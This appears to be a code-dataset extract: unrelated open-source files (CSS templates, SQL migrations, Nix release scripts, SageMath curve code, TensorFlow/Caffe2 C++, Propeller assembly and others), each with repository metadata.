background: url(<mt:if name="main-bg"><mt:assets type="image" tag="@MAIN_BACKGROUND" limit="1"><mt:asseturl></mt:assets><mt:else><mt:blogrelativeurl>images/bg-top-main.png</mt:if>) no-repeat center bottom;
background-size: cover;
text-align: center;
border-bottom: solid 1px #e9e9e9;
}
#mainvisual h2 {
margin: 0 0 20px 0;
}
#mainvisual #main-text {
margin-bottom: 2em;
}
#mainvisual .btn-group {
}
#mainvisual .btn-group .btn {
width: 300px;
}
#top-about {
}
#top-about .webpages {
padding: 3em 0;
border-bottom: solid 1px #f1f1f1;
}
#top-about .webpages:nth-child(even) {
background: #F5F7FA;
}
#top-about .webpages h3 {
margin: 0 0 15px 0;
text-align: center;
font-size: 40px;
}
#top-about .webpages p.webpage-lead {
margin-bottom: 2em;
text-align: center;
}
#top-about .webpages .col-sm-4 {
position: relative;
padding-bottom: 50px;
}
#top-about .webpages i {
padding-right: 0.2em;
}
#top-about .webpages .page-detail {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
padding: 0 15px;
text-align: center;
}
#top-about .webpages .page-detail .btn {
width: 100%;
}
#top-news {
padding: 3em 0;
background: #2E3B53;
color: #fff;
}
#top-news h3 {
font-size: 40px;
margin: 0 0 25px 0;
text-align: center;
}
#top-news a.col-sm-3 {
display: block;
width: 262.5px;
padding: 0;
margin: 0 15px 15px 15px;
background: #fff;
color: #111;
}
#top-news a:hover {
color: #5f76a6;
text-decoration: none;
}
#top-news figure {
display: block;
height: 150px;
overflow: hidden;
}
#top-news figure.noimage {
height: 150px;
background: #999;
text-align: center;
line-height: 150px;
color: #fff;
font-size: 30px;
}
#top-news figure img {
width: 100%;
}
#top-news .entry-detail {
padding: 1em;
}
#top-news h1 {
margin: 0 0 0.5em 0;
font-size: 114%;
}
#top-news p {
margin: 0;
}
#top-news p.entry-excerpt {
font-size: 86%;
}
#top-news .top-newslist {
margin-top: 2em;
text-align: center;
}
/* ------------------------------------------
STYLE FOR TABLET
------------------------------------------ */
@media screen and (max-width:767px){
img {
max-width: 100%;
}
header {
margin-bottom: 5px;
}
.container > .navbar-header {
position: relative;
width: 100%;
margin: 0;
text-align: center;
}
.navbar-nav {
margin: 0;
border: solid 1px #f1f1f1;
}
.navbar-nav > li {
padding: 0;
}
button.navbar-toggle {
position: absolute;
right: 0;
top: 0;
padding: 8px 11px;
margin-right: 0;
background: #f6f6f6;
border: solid 1px #f1f1f1;
border-radius: 3px;
font-size: 15px;
}
.container>.navbar-collapse {
margin: 0;
}
ul.header-socialbtn {
float: none;
margin: 0;
padding: 0;
text-align: center;
}
.col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
margin-bottom: 1em;
}
section .col-sm-1:last-of-type, section .col-sm-2:last-of-type, section .col-sm-3:last-of-type, section .col-sm-4:last-of-type, section .col-sm-5:last-of-type, section .col-sm-6:last-of-type, section .col-sm-7:last-of-type, section .col-sm-8:last-of-type, section .col-sm-9:last-of-type, section .col-sm-10:last-of-type, section .col-sm-11:last-of-type, section .col-sm-12:last-of-type {
margin-bottom: 1em;
}
#footer-logoarea {
text-align: center;
}
#footer-navi ul.pull-right {
float: none !important;
padding: 0;
text-align: center;
}
footer .col-sm-6 {
margin-bottom: 0;
}
#mainvisual .btn-group {
display: block;
text-align: center;
}
#mainvisual .btn-group .btn {
display: inline-block;
width: 45%;
float: none;
margin-bottom: 0.5em;
border-radius: 3px;
}
#mainvisual .btn-group .btn:last-of-type {
margin: 0;
}
#top-news a.col-sm-3 {
width: 90%;
margin: 0 auto 2em auto;
}
#sidebar {
width: 100%;
}
#sidebar h1 {
padding: 1em 0.7em;
background: #f6f6f6;
}
#entry-list figure {
width: 40%;
}
.dropdown-menu {
max-height: 200px;
}
}
/* ------------------------------------------
for sp
------------------------------------------ */
@media(max-width:480px){
#entry-list figure {
display: none;
}
}
| MTML | 2 | movabletype/mt-theme-SimpleCorporate | themes/simplecorporate/templates/styles.mtml | [
"MIT"
] |
ALTER TABLE hdb_catalog.hdb_relationship
DROP CONSTRAINT hdb_relationship_table_schema_fkey,
ADD CONSTRAINT hdb_relationship_table_schema_fkey FOREIGN KEY (table_schema, table_name) REFERENCES hdb_catalog.hdb_table(table_schema, table_name) ON UPDATE CASCADE;
ALTER TABLE hdb_catalog.hdb_permission
DROP CONSTRAINT hdb_permission_table_schema_fkey,
ADD CONSTRAINT hdb_permission_table_schema_fkey FOREIGN KEY (table_schema, table_name) REFERENCES hdb_catalog.hdb_table(table_schema, table_name) ON UPDATE CASCADE;
ALTER TABLE hdb_catalog.event_triggers
ADD CONSTRAINT event_triggers_table_schema_fkey FOREIGN KEY (schema_name, table_name) REFERENCES hdb_catalog.hdb_table(table_schema, table_name) ON UPDATE CASCADE;
| SQL | 2 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/9_to_10.sql | [
"Apache-2.0",
"MIT"
] |
ENTRY(eirEntry)
SECTIONS {
. = 0x40080000;
eirImageFloor = .;
.text : ALIGN(0x1000) {
*(.text.init)
*(.text*)
}
.rodata : ALIGN(0x1000) {
*(.rodata*)
}
.data : ALIGN(0x1000) {
*(.data*)
}
.bss : ALIGN(0x1000) {
eirBssStart = .;
*(.bss*)
*(COMMON)
. = ALIGN(8);
eirBssEnd = .;
}
eirImageCeiling = .;
}
| Logos | 3 | kITerE/managarm | kernel/eir/arch/arm/virt/link.x | [
"MIT"
] |
plz foo with 5 6 thx bigger 7 | Dogescript | 1 | erinkeith/dogescript | test/spec/plz/thx-with-args/source.djs | [
"MIT"
] |
{ buildToolbox
, checkedShellScript
, curl
, jq
}:
let
dockerHubDescription =
let
description =
./docker-hub-description.md;
fullDescription =
./docker-hub-full-description.md;
in
checkedShellScript
{
name = "postgrest-release-dockerhub-description";
docs = "Update the repository description on Docker Hub.";
args = [
"ARG_USE_ENV([DOCKER_USER], [], [DockerHub user name])"
"ARG_USE_ENV([DOCKER_PASS], [], [DockerHub password])"
"ARG_USE_ENV([DOCKER_REPO], [], [DockerHub repository])"
];
}
''
# ARG_USE_ENV only adds defaults or docs for environment variables
# We manually implement a required check here
# See also: https://github.com/matejak/argbash/issues/80
: "''${DOCKER_USER:?DOCKER_USER is required}"
: "''${DOCKER_PASS:?DOCKER_PASS is required}"
: "''${DOCKER_REPO:?DOCKER_REPO is required}"
echo "Logging in to Docker Hub to get an auth token..."
token="$(
${curl}/bin/curl --fail -s \
--data-urlencode "username=$DOCKER_USER" \
--data-urlencode "password=$DOCKER_PASS" \
"https://hub.docker.com/v2/users/login/" \
| ${jq}/bin/jq -r .token
)"
repo_url="https://hub.docker.com/v2/repositories/$DOCKER_REPO/postgrest/"
echo "Patching both descriptions at $repo_url ..."
${curl}/bin/curl --fail -X PATCH "$repo_url" \
-H "Authorization: JWT $token" \
--data-urlencode description@${description} \
--data-urlencode full_description@${fullDescription}
'';
release =
checkedShellScript
{
name = "postgrest-release";
docs = "Patch postgrest.cabal, tag and push all in one go.";
args = [ "ARG_POSITIONAL_SINGLE([version], [Version to release], [pre])" ];
inRootDir = true;
}
''
trap "echo You need to be on the main branch to proceed. Exiting ..." ERR
[ "$(git rev-parse --abbrev-ref HEAD)" == "main" ]
trap "" ERR
trap "echo You have uncommitted changes in postgrest.cabal. Exiting ..." ERR
git diff --exit-code HEAD postgrest.cabal > /dev/null
trap "" ERR
current_version="$(grep -oP '^version:\s*\K.*' postgrest.cabal)"
# shellcheck disable=SC2034
IFS=. read -r major minor patch pre <<< "$current_version"
echo "Current version is $current_version"
bump_pre="$major.$minor.$patch.$(date '+%Y%m%d')"
bump_patch="$major.$minor.$((patch+1))"
bump_minor="$major.$((minor+1)).0"
bump_major="$((major+1)).0.0"
PS3="Please select the new version: "
select new_version in "$bump_pre" "$bump_patch" "$bump_minor" "$bump_major"; do
case "$REPLY" in
1|2|3|4)
echo "Selected $new_version"
break
;;
*)
echo "Invalid option $REPLY"
;;
esac
done
echo "Updating postgrest.cabal ..."
sed -i -E "s/^(version:\s+).*$/\1$new_version/" postgrest.cabal > /dev/null
echo "Committing ..."
git add postgrest.cabal > /dev/null
git commit -m "bump version to $new_version" > /dev/null
echo "Tagging ..."
git tag "v$new_version" > /dev/null
trap "Couldn't find remote. Please push manually ..." ERR
remote="$(git remote -v | grep PostgREST/postgrest | grep push | cut -f1)"
trap "" ERR
push="git push --atomic $remote main v$new_version"
echo "To push both the branch and the new tag, the following will be run:"
echo
echo "$push"
echo
read -r -p 'Proceed? (y/N) ' REPLY
case "$REPLY" in
y|Y)
$push
;;
*)
echo "Aborting ..."
;;
esac
'';
in
buildToolbox
{
name = "postgrest-release";
tools = [ dockerHubDescription release ];
}
| Nix | 5 | fairhopeweb/postgrest | nix/tools/release/default.nix | [
"MIT"
] |
{ ghcWithPackages
, runCommand
}:
let
name = "hsie";
src = ./Main.hs;
modules = ps: [
ps.aeson
ps.aeson-pretty
ps.cassava
ps.dir-traverse
ps.dot
ps.ghc-exactprint
ps.optparse-applicative
];
ghc = ghcWithPackages modules;
hsie =
runCommand "haskellimports" { inherit name src; }
"${ghc}/bin/ghc -O -Werror -Wall -package ghc $src -o $out";
bin =
runCommand name { inherit hsie name; }
''
mkdir -p $out/bin
ln -s $hsie $out/bin/$name
'';
bashCompletion =
runCommand "${name}-bash-completion" { inherit bin name; }
"$bin/bin/$name --bash-completion-script $bin/bin/$name > $out";
in
hsie // { inherit bashCompletion bin; }
| Nix | 3 | fairhopeweb/postgrest | nix/hsie/default.nix | [
"MIT"
] |
<%= form_for @changeset, @action, [class: "ui form", multipart: true], fn f -> %>
<div class="three fields">
<div class="field required <%= AdminHelpers.error_class(f, :podcast_id) %>">
<%= label(f, :podcast_id, "Podcast") %>
<%= select(f, :podcast_id, podcast_options(), class: "ui fluid dropdown") %>
<%= AdminHelpers.error_message(f, :podcast_id) %>
</div>
<div class="field required <%= AdminHelpers.error_class(f, :submitter_id) %>">
<%= label(f, :submitter_id, "Submitter") %>
<div class="ui fluid remote submitter search selection dropdown">
<%= hidden_input(f, :submitter_id) %>
<i class="dropdown icon"></i>
<%= if AdminHelpers.is_loaded(f.data.submitter) do %>
<div class="selected text"><%= f.data.submitter.name %></div>
<% else %>
<div class="default text">Select Submitter</div>
<% end %>
</div>
<%= AdminHelpers.error_message(f, :submitter_id) %>
</div>
<div class="field <%= AdminHelpers.error_class(f, :pronunciation) %>">
<%= label(f, :pronunciation) %>
<%= text_input(f, :pronunciation) %>
</div>
</div>
<div class="field <%= AdminHelpers.error_class(f, :guests) %>">
<%= label(f, :guests) %>
<%= textarea(f, :guests, rows: 1) %>
<%= AdminHelpers.error_message(f, :guests) %>
</div>
<div class="field <%= AdminHelpers.error_class(f, :hosts) %>">
<%= label(f, :hosts) %>
<%= textarea(f, :hosts, rows: 1) %>
<%= AdminHelpers.error_message(f, :hosts) %>
</div>
<div class="field <%= AdminHelpers.error_class(f, :topics) %>">
<%= label(f, :topics) %>
<%= textarea(f, :topics, rows: 1) %>
<%= AdminHelpers.error_message(f, :topics) %>
</div>
<div class="field <%= AdminHelpers.error_class(f, :pitch) %>">
<%= label(f, :pitch) %>
<%= textarea(f, :pitch, rows: 1) %>
<%= AdminHelpers.error_message(f, :pitch) %>
</div>
<div class="ui hidden divider"></div>
<div class="ui equal width stackable grid">
<div class="column"><%= AdminHelpers.submit_button(:primary, "Save", "edit") %></div>
<div class="column"><%= AdminHelpers.submit_button(:secondary, "Save and Close", AdminHelpers.next_param(@conn)) %></div>
<div class="column">
<%= if Changelog.Policies.Admin.EpisodeRequest.delete(@current_user, @request.podcast) do %>
<%= link("Delete", to: Routes.admin_podcast_episode_request_path(@conn, :delete, @podcast.slug, f.data), class: "ui red fluid basic button", method: :delete, data: [confirm: "Are you sure?"]) %>
<% end %>
</div>
</div>
<% end %>
| HTML+EEX | 4 | gustavoarmoa/changelog.com | lib/changelog_web/templates/admin/episode_request/_form.html.eex | [
"MIT"
] |
/**
Copyright 2015 Acacia Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.acacia.server;
/**
* Class AcaciaInstanceCatalogManager
*/
public class AcaciaInstanceCatalogManager {
//Note on Feb 15 2015: This was kept aside for a while since it is not too urgent to create a class for managing the catalog file
// // private def writeCatalogRecord(String record) {
// //First we need to check whether the Acacia's data directory exists or not.
// File fileChk = new File(dataFolder);
// if(fileChk.exists() && fileChk.isDirectory()){
// //There is no problem
// }else{
// //Here we need to create the directory first
// try{
// org.apache.commons.io.FileUtils.forceMkdir(fileChk);
// }catch(IOException ex){
// Logger_Java.error("Creating the Acacia data folder threw an Exception : " + ex.getMessage());
// }
// }
//
// File catalog = new File(dataFolder + "/catalog");
// boolean b = false;
// try{
// if(!catalog.exists()){
// b = catalog.createNewFile();
// }
//
// if(b){
// System.out.println("The catalog file was newly created.");
// }
//
// BufferedWriter writer = new BufferedWriter(new FileWriter(catalog, true));//We are appending to the file rather than replacing
// writer.write(record);
// writer.write("\n");//We need a new line to separate between two records.
// writer.flush();
// writer.close();
// }catch(IOException e){
// System.out.println("There is an error is writing to the AcaciaInstance's catalog.");
// }
// }
} | X10 | 3 | mdherath/Acacia | src/org/acacia/server/AcaciaInstanceCatalogManager.x10 | [
"Apache-2.0"
] |
import hashlib
from itertools import izip
MNT4r = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888458477323173057491593855069696241854796396165721416325350064441470418137846398469611935719059908164220784476160001
MNT4q = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888253786114353726529584385201591605722013126468931404347949840543007986327743462853720628051692141265303114721689601
MNT4Fr = FiniteField(MNT4r)
MNT4Fq = FiniteField(MNT4q)
MNT4Fq2.<A2> = GF(MNT4q**2, name='A2', modulus=x^2 - 13)
MNT4a = MNT4Fq(2)
MNT4b = MNT4Fq(28798803903456388891410036793299405764940372360099938340752576406393880372126970068421383312482853541572780087363938442377933706865252053507077543420534380486492786626556269083255657125025963825610840222568694137138741554679540)
MNT4_twist_a = MNT4Fq2(MNT4a * 13)
MNT4_twist_b = MNT4b * 13 * A2
MNT4G1 = EllipticCurve(MNT4Fq, [MNT4a, MNT4b])
MNT4G2 = EllipticCurve(MNT4Fq2, [MNT4_twist_a, MNT4_twist_b])
field_size_in_bytes = 95
def random_field_elements(prefix, F):
i = 0
while True:
# Sample 760 bits
s = ''.join(hashlib.sha512('-'.join([prefix, str(i), part])).digest() for part in ['0', '1'])[:field_size_in_bytes]
# Set the top 7 bits to 0
s = [ord(c) for c in s]
s[-1] = s[-1] & 1
x = sum(c << (8 * i) for i, c in enumerate(s))
if x < F.order():
yield F(x)
i += 1
def random_bits(prefix):
i = 0
while True:
s = hashlib.sha512('-'.join([prefix, str(i)])).digest()
for c in s:
c = ord(c)
for j in range(8):
yield ((c >> j) & 1)
i += 1
def parity(n):
return n % 2 == 1
def random_extension_field(base, gens):
while True:
yield sum(base.next() * g for g in gens)
def random_point_prefix(prefix, field_elts, G, a, b, cofactor, base_elt):
for x, bit in izip(
field_elts,
random_bits(prefix + '-bit')):
t = x*x*x + a*x + b
if t.is_square():
y = sqrt(t)
if parity(int(base_elt(y))) != bit:
y = -y
P = G((x, y))
yield (cofactor * P)
MNT4_G1_cofactor = 1
MNT4_G2_order = 1755483545388786116744270475466687259186947712032004459714210070280389500116987496124098574823389466285978151140129779880473941566986064523874032812554001388754406832203678555787480693761694100603526668957377103500617895632245595170616424076193013069812655758706590804941865916654955161997668012879640089484267319662922323100918044574497880923438974476743556836643394916941627035296377155451512923542277406843394136761402218172188221567330050123715379201
MNT4_G2_cofactor = int(MNT4_G2_order / MNT4r)
MNT6r = MNT4q
MNT6q = MNT4r
MNT6Fr = MNT4Fq
MNT6Fq = MNT4Fr
MNT6Fq3.<A3> = GF(MNT6q**3, name='A3', modulus=x^3 - 11)
MNT6a = MNT6Fq(11)
MNT6b = MNT6Fq(11625908999541321152027340224010374716841167701783584648338908235410859267060079819722747939267925389062611062156601938166010098747920378738927832658133625454260115409075816187555055859490253375704728027944315501122723426879114)
MNT6_twist_a = MNT6Fq3(MNT6a * A3 * A3)
MNT6_twist_b = MNT6Fq3(MNT6b * 11)
MNT6G1 = EllipticCurve(MNT6Fq, [MNT6a, MNT6b])
MNT6G2 = EllipticCurve(MNT6Fq3, [MNT6_twist_a, MNT6_twist_b])
MNT6_G1_cofactor = 1
MNT6_G2_order = 73552111470802397192299133782080682301728710523587802164414953272757803714910813694725910843025422137965798141905885753593004512240463847384721096903595933283458847264288566388732113787639043399649361805852639267190950507912358376074097539843068006508773746266871144243740553087382752422866473030888088548173965683919212921358833994558678853355172509356520991433316263176882890942286357544906938949829579371370459287502330781592320903149388678948211503762056389148978998668559030669244035030070029532088840675255439951794614401514977987414319720539166454247426672790008063108319880391951786373973900019019538024651026784431794445884182058882094901834289642271616024218938900480000
MNT6_G2_cofactor = int(MNT6_G2_order / MNT6r)
MNT4_g1 = random_point_prefix('MNT4753-G1',
random_field_elements('MNT4753-G1-field', MNT4Fq),
MNT4G1,
MNT4a,
MNT4b,
MNT4_G1_cofactor,
lambda x: x).next()
MNT4_g2 = random_point_prefix('MNT4753-G2',
random_extension_field(
random_field_elements('MNT4753-G2-field', MNT4Fq),
[MNT4Fq2(1), A2]),
MNT4G2,
MNT4_twist_a,
MNT4_twist_b,
MNT4_G2_cofactor,
lambda x: x._vector_()[0]).next()
MNT6_g1 = random_point_prefix('MNT6753-G1',
random_field_elements('MNT6753-G1-field', MNT6Fq),
MNT6G1,
MNT6a,
MNT6b,
MNT6_G1_cofactor,
lambda x: x).next()
MNT6_g2 = random_point_prefix('MNT6753-G2',
random_extension_field(
random_field_elements('MNT6753-G2-field', MNT6Fq),
[MNT6Fq3(1), A3, A3 * A3]),
MNT6G2,
MNT6_twist_a,
MNT6_twist_b,
MNT6_G2_cofactor,
lambda x: x._vector_()[0]).next()
print 'mnt4 G1', MNT4_g1
print 'mnt4 G2', MNT4_g2
print 'mnt6 G1', MNT6_g1
print 'mnt6 G2', MNT6_g2
| Sage | 5 | Pratyush/snarky | scripts/generate_base_point.sage | [
"MIT"
] |
using Uno;
using Uno.Collections;
using Fuse;
using Fuse.Controls;
public partial class MyApp
{
public MyApp()
{
InitializeUX();
hehe.ToString();
hehe.Margin=20;
FrameTime = 20;
}
public List<int> Test()
{
}
public App Foo()
{
}
} | Uno | 1 | mortend/fuse-studio | Source/Fuse/Tests/SublimeTest/SublimeTest/MyApp.ux.uno | [
"MIT"
] |
[ModuleInit]
public GLib.Type plugin_init (GLib.TypeModule tm) {
return typeof (Bar.Plugin);
}
public class Bar.Plugin : Foo.Plugin, GLib.Object {
public string bar () {
return "bar";
}
}
| Vala | 4 | kira78/meson | test cases/vala/21 type module/plugin-bar.vala | [
"Apache-2.0"
] |
<span style="color: #<?php echo $this->gradientBuilder->create('#00ff00')
->to('#333333', 100)
->to('#ff0000', 100)
->build()
->colorAtPercentile(((int)$object->percentage() + 100) / 2)
->toHex() ?>">
<?php echo $this->nodePrinter->print($object) ?>
</span>
| HTML+PHP | 3 | rustamwin/phpbench | templates/html/node/PercentDifferenceNode.phtml | [
"MIT"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_C_EXPERIMENTAL_PLUGGABLE_PROFILER_PLUGGABLE_PROFILER_INTERNAL_H_
#define TENSORFLOW_C_EXPERIMENTAL_PLUGGABLE_PROFILER_PLUGGABLE_PROFILER_INTERNAL_H_
#include "tensorflow/c/experimental/pluggable_profiler/pluggable_profiler.h"
#include "tensorflow/c/tf_status_helper.h"
#include "tensorflow/core/platform/status.h"
#include "tensorflow/core/profiler/lib/profiler_interface.h"
#include "tensorflow/core/profiler/profiler_options.pb.h"
#include "tensorflow/core/profiler/protobuf/xplane.pb.h"
namespace tensorflow {
namespace profiler {
// Plugin initialization function that a device plugin must define. Returns
// a TF_Status output specifying whether the initialization is successful.
using TFInitProfilerFn = void (*)(TF_ProfilerRegistrationParams* const,
TF_Status* const);
// Registers plugin's profiler to TensorFlow's profiler registry.
Status InitPluginProfiler(TFInitProfilerFn init_fn);
} // namespace profiler
} // namespace tensorflow
#endif // TENSORFLOW_C_EXPERIMENTAL_PLUGGABLE_PROFILER_PLUGGABLE_PROFILER_INTERNAL_H_
| C | 4 | EricRemmerswaal/tensorflow | tensorflow/c/experimental/pluggable_profiler/pluggable_profiler_internal.h | [
"Apache-2.0"
] |
dev: size erasesize name
mmcblk0p1: 000100 000000 "vrl"
mmcblk0p2: 000100 000000 "vrl_backup"
mmcblk0p3: 000100 000000 "mcuimage"
mmcblk0p4: 000300 000000 "reserved0"
mmcblk0p5: 001000 000000 "fastboot"
mmcblk0p6: 001000 000000 "modemnvm_factory"
mmcblk0p7: 001800 000000 "nvme"
mmcblk0p8: 008000 000000 "oeminfo"
mmcblk0p9: 002000 000000 "splash"
mmcblk0p10: 001000 000000 "modemnvm_backup"
mmcblk0p11: 002000 000000 "modemnvm_img"
mmcblk0p12: 001000 000000 "modemnvm_system"
mmcblk0p13: 008000 000000 "securetystorage"
mmcblk0p14: 004000 000000 "3rdmodemnvm"
mmcblk0p15: 004000 000000 "3rdmodemnvmback"
mmcblk0p16: 003000 000000 "reserved1"
mmcblk0p17: 003000 000000 "modem_om"
mmcblk0p18: 011000 000000 "splash2"
mmcblk0p19: 000800 000000 "misc"
mmcblk0p20: 006000 000000 "modemnvm_update"
mmcblk0p21: 010000 000000 "recovery2"
mmcblk0p22: 010000 000000 "reserved2"
mmcblk0p23: 001000 000000 "teeos"
mmcblk0p24: 000800 000000 "trustfirmware"
mmcblk0p25: 004000 000000 "sensorhub"
mmcblk0p26: 003000 000000 "hifi"
mmcblk0p27: 006000 000000 "boot"
mmcblk0p28: 008000 000000 "recovery"
mmcblk0p29: 008000 000000 "dtimage"
mmcblk0p30: 010000 000000 "modem"
mmcblk0p31: 002000 000000 "modem_dsp"
mmcblk0p32: 004000 000000 "dfx"
mmcblk0p33: 010000 000000 "3rdmodem"
mmcblk0p34: 040000 000000 "cache"
mmcblk0p35: 000800 000000 "hisitest0"
mmcblk0p36: 000800 000000 "hisitest1"
mmcblk0p37: 001000 000000 "hisitest2"
mmcblk0p38: 280000 000000 "system"
mmcblk0p39: 080000 000000 "cust"
mmcblk0p40: aa9800 000000 "userdata"
| Grace | 1 | Chrismucer/OnlineNandroid | part_layouts/raw/partlayout4nandroid.grace | [
"BSD-3-Clause"
] |
{{
vga_40x18_rom_hc.spin by Roger Williams
This is the helper cog for a ROM font 43 by 18 character tile
display. The raster is drawn by a raster engine which signals
which line it is working on via the lineptr. Two instances
of this cog pre-build lines of pixels, one working on even
lines and one on odd.
}}
var
long cog0, cog1
pub start(screen, pixelbuf, lineptr, userfontptr)
_screen := screen
_pixbuf := pixelbuf
_helpsync := lineptr
_user_chars := userfontptr
_am_i_odd := 0
cog0 := cognew(@entry, 0) + 1
_am_i_odd := 1
cog1 := cognew(@entry, 0) + 1
return true
if cog0 == 0 or cog1 == 0
stop
else
return true
pub stop
if cog0
cogstop(cog0~ - 1)
if cog1
cogstop(cog1~ - 1)
pub pasm_image
{
Return the location of the PASM image in case we want to re-use the RAM
}
return @entry
dat
org 0
entry
loop rdword thisline,_helpsync 'new line?
cmp thisline,lastline wz
if_z jmp #loop
:newline mov lastline,thisline 'new line is now current line
shr lastline,#1 wc,nr 'get lsb in c
test _am_i_odd,#1 wz 'and not-amiodd in z
if_c_eq_z jmp #loop 'only process this if it's our cue
'
add thisline,#2 'process the next line, not the
cmp thisline,lines wc 'one currently being displayed
if_nc sub thisline,lines
'
'initialize pointer to 1st character of line in screen
'
mov screenptr,thisline 'pixel line 0-575
shr screenptr,#5 'discard tile line 0-31
shl screenptr,#4 'text line * 40 words * 2 bytes/word
mov tmp,screenptr
shl screenptr,#2 '*(16 + 64)
add screenptr,tmp
add screenptr,_screen 'offset to _screen
'initialize line-within-tile memory pointer
'
mov tileline,thisline
and tileline,#%0_0001_1111 '% 00000000_00000000_00000000_000##### isolate y 0-31
shl tileline,#2 'long pointer
'
'initialize output pointers
'
mov pixbufptr,_am_i_odd wz
if_nz mov pixbufptr,#40*4
add pixbufptr,_pixbuf
'
mov x,#40 'set horizontal tiles per line
' Note: for the timing to work it is essential to have no more
' than six instructions between rdword/rdlong/wrlong in the tile loop:
'
:tile mov tmp,tileline
rdword tile,screenptr 'read tile
'
' Convert tile to pixel pattern...
'
' Tile format:
'
' %0000racf_hCCCCCCC
'
' where c=lsbit of char code; CCCCCCC=high 7 bits
' h = hibit of user char code 0-511
' r = reverse video flag
' a = use alternate color flag
' f = 0: user font code 1: gets rotated to $8000 base of Hub Font
'
shl tile,#7 'get LSB in C and point to 32-long char
test tile,tile_isrombit wz 'set Z for ROM font and C for reverse
test tile,tile_lsbit wc 'and c for least sig. bit
add tmp,tile 'and line within char
if_z shr tmp,#1 'user chars 16 bits high, not 32
if_z add tmp,_user_chars 'and offset from here
rdlong pixels,tmp
if_c shr pixels,#1 'based on LSB, get all desired bits %%1
test tile,tile_isrevbit wc 'get inverse video bit
if_c xor pixels,loqbit
and pixels,loqbit 'remove unwanted interleaved char
test tile,tile_isaltbit wc 'get alt color bit
if_c shl pixels,#1 'alt color %%2
'
' ...and ship the pixels to the raster cog.
'
wrlong pixels,pixbufptr
'
add pixbufptr,#4
add screenptr,#2 'point to next tile
'
djnz x,#:tile 'another tile in line?
'
jmp #loop 'no, wait for next line
_screen long 0 '@word read-only
_helpsync long 0 '@word line currently being displayed
_pixbuf long 0 '@2-line long pixel buffer
_user_chars long 0 'base of user defined character set
_am_i_odd long 0 '%1=process odd or even lines
thisline long 0
lastline long 0
lines long 576 '# of pixel lines on screen
lineadd long $08000000
loqbit long %%1111_1111_1111_1111
'
' Note the tile is shifted left 7 bits to get the flags out of the lower
' 16-bit address space before it's tested.
'
tile_isrombit long %0000_10000000_00000000
tile_lsbit long %0010_00000000_00000000
tile_isaltbit long %0100_00000000_00000000
tile_isrevbit long %1000_00000000_00000000
'rptlong long $7FF8
'lastcnt long 0
screenptr res 1
tileline res 1
x res 1
pixbufptr res 1
colorbufptr res 1
tile res 1
pixels res 1
tmp res 1
fit $1F0
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/VGA 40x18 ROM Font/vga_40x18_rom_hc.spin | [
"MIT"
] |
#include "caffe2/core/net_async_task.h"
#include "caffe2/core/net_async_task_graph.h"
namespace caffe2 {
// NOLINTNEXTLINE(modernize-pass-by-value)
AsyncTask::AsyncTask(const std::vector<OperatorBase*>& ops) : ops_(ops) {
CAFFE_ENFORCE(!ops_.empty());
device_option_ = ops_.front()->device_option();
for (auto& op : ops_) {
CAFFE_ENFORCE(IsSameDevice(device_option_, op->device_option()));
}
Reset();
}
void AsyncTask::handleChainError(
OperatorBase* op,
const char* err_str,
bool save_exception) {
std::string err_msg = err_str;
if (op) {
err_msg += ", op " + (op->has_debug_def() ? op->type() : " unknown");
}
LOG(ERROR) << err_msg;
// save error message and exception in chain's Event
auto last_op = ops_.back();
if (save_exception) {
last_op->event().SetFinishedWithException(err_msg.c_str());
} else {
last_op->event().SetFinished(err_msg.c_str());
}
// set future as completed with an error
// TODO: exceptions in future
future_.SetCompleted(err_msg.c_str());
}
bool AsyncTask::Run(const ExecutionOptions& options) {
// TODO: insert CUDA's async stream waits; tracing and counters
OperatorBase* op = nullptr;
try {
// NOLINTNEXTLINE(modernize-loop-convert)
for (auto op_idx = 0U; op_idx < ops_.size(); ++op_idx) {
op = ops_[op_idx];
int stream_id = 0; // TODO: thread local stream id
if (!op->RunAsync(stream_id)) {
handleChainError(op, "Failed to execute an op");
return false;
}
}
if (options.finish_chain_) {
op = ops_.back();
op->Finish();
}
// set the future as successfully completed or, in case of async CPU,
// use op's callback
if (IsCPUDeviceType(device_option_.device_type()) &&
ops_.back()->HasAsyncPart()) {
auto& event = ops_.back()->event();
event.SetCallback([this, &event]() {
CAFFE_ENFORCE(event.IsFinished());
if (event.Query() == EventStatus::EVENT_SUCCESS) {
future_.SetCompleted();
} else {
// TODO: support for exceptions
future_.SetCompleted(event.ErrorMessage().c_str());
}
});
} else {
future_.SetCompleted();
}
} catch (const std::exception& e) {
handleChainError(op, e.what(), /* save_exception */ true);
return false;
} catch (...) {
handleChainError(
op,
"Failed to execute task: unknown error",
/* save_exception */ true);
return false;
}
return true;
}
void AsyncTask::Reset() {
for (auto& op : ops_) {
op->ResetEvent();
}
future_.ResetState();
}
DeviceOption AsyncTask::GetDeviceOption() const {
return device_option_;
}
AsyncTaskFuture& AsyncTask::GetFuture() {
return future_;
}
const AsyncTaskFuture& AsyncTask::GetFuture() const {
return future_;
}
}; // namespace caffe2
| C++ | 4 | Hacky-DH/pytorch | caffe2/core/net_async_task.cc | [
"Intel"
] |
(defun merge-plist (p1 p2)
(loop with notfound = '#:notfound
for (indicator value) on p1 by #'cddr
when (eq (getf p2 indicator notfound) notfound)
do (progn
(push value p2)
(push indicator p2)))
p2)
(defun html-response* (response &optional headers)
